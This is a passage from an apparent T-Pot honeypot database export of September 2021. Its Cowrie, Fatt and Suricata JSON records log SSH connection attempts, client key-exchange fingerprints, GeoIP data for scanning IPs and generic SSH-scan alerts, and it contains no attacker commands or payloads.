"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35632, "dest_port": 22, "timestamp": "2021-09-20T11:15:56.963449", "@timestamp": "2021-09-20T11:15:56.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27944	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:56.961439+03	2021-09-20 14:30:02.185524+03	{"_id": "yQbrAnwBvYTbRNuEdCuJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35632, "timestamp": "2021-09-20T11:15:56.961439", "@timestamp": "2021-09-20T11:15:56.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27946	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:53.038466+03	2021-09-20 14:30:02.187523+03	{"_id": "egbrAnwBvYTbRNuEZSuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:53.038466Z", "@timestamp": "2021-09-20T11:15:53.038Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
27947	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:53.229423+03	2021-09-20 14:30:02.188523+03	{"_id": "ggbrAnwBvYTbRNuEZSuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a108cc9b3fd7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:53.229423Z", "@timestamp": "2021-09-20T11:15:53.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27948	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:15:53.547374+03	2021-09-20 14:30:02.189523+03	{"_id": "hQbrAnwBvYTbRNuEaCvN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47658, "dest_port": 22, "timestamp": "2021-09-20T11:15:53.547374", "@timestamp": "2021-09-20T11:15:53.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27949	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:54.590371+03	2021-09-20 14:30:02.191523+03	{"_id": "hgbrAnwBvYTbRNuEaSuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "81.71.17.12", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5801684856414795, "duplicate": true, "timestamp": "2021-09-20T11:15:54.590371Z", "@timestamp": "2021-09-20T11:15:54.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27950	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:54.010288+03	2021-09-20 14:30:02.192523+03	{"_id": "igbrAnwBvYTbRNuEaSuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:54.010288Z", "@timestamp": "2021-09-20T11:15:54.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
27951	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:55.47495+03	2021-09-20 14:30:02.193523+03	{"_id": "kAbrAnwBvYTbRNuEbSuB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:53846 (192.168.176.2:22) [session: 5be36f5fcf58]", "session": "5be36f5fcf58", "@version": "1", "protocol": "ssh", "src_port": 53846, "dest_port": 22, "timestamp": "2021-09-20T11:15:55.474950Z", "@timestamp": "2021-09-20T11:15:55.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27952	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:55.550913+03	2021-09-20 14:30:02.194524+03	{"_id": "mgbrAnwBvYTbRNuEbSuB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "81.71.17.12", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.567988395690918, "duplicate": true, "timestamp": "2021-09-20T11:15:55.550913Z", "@timestamp": "2021-09-20T11:15:55.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27953	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:55.772266+03	2021-09-20 14:30:02.196525+03	{"_id": "mwbrAnwBvYTbRNuEbSuB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5be36f5fcf58", "@version": "1", "timestamp": "2021-09-20T11:15:55.772266Z", "@timestamp": "2021-09-20T11:15:55.772Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27954	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:15:55.938815+03	2021-09-20 14:30:02.198523+03	{"_id": "nwbrAnwBvYTbRNuEbytY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:55.938815+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1414441940505407, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 54956, "dest_port": 22, "timestamp": "2021-09-20T11:15:55.938815Z", "@timestamp": "2021-09-20T11:15:55.938Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27955	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:55.664895+03	2021-09-20 14:30:02.199523+03	{"_id": "owbrAnwBvYTbRNuEcCuf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55460, "timestamp": "2021-09-20T11:15:55.664895", "@timestamp": "2021-09-20T11:15:55.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27972	118.70.233.117	109.199.241.180	Suricata	2021-09-20 14:15:48.789182+03	2021-09-20 14:30:02.222523+03	{"_id": "VAbrAnwBvYTbRNuEUyv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:15:48.354118+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "118.70.233.117", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1176567323846470, "payload": 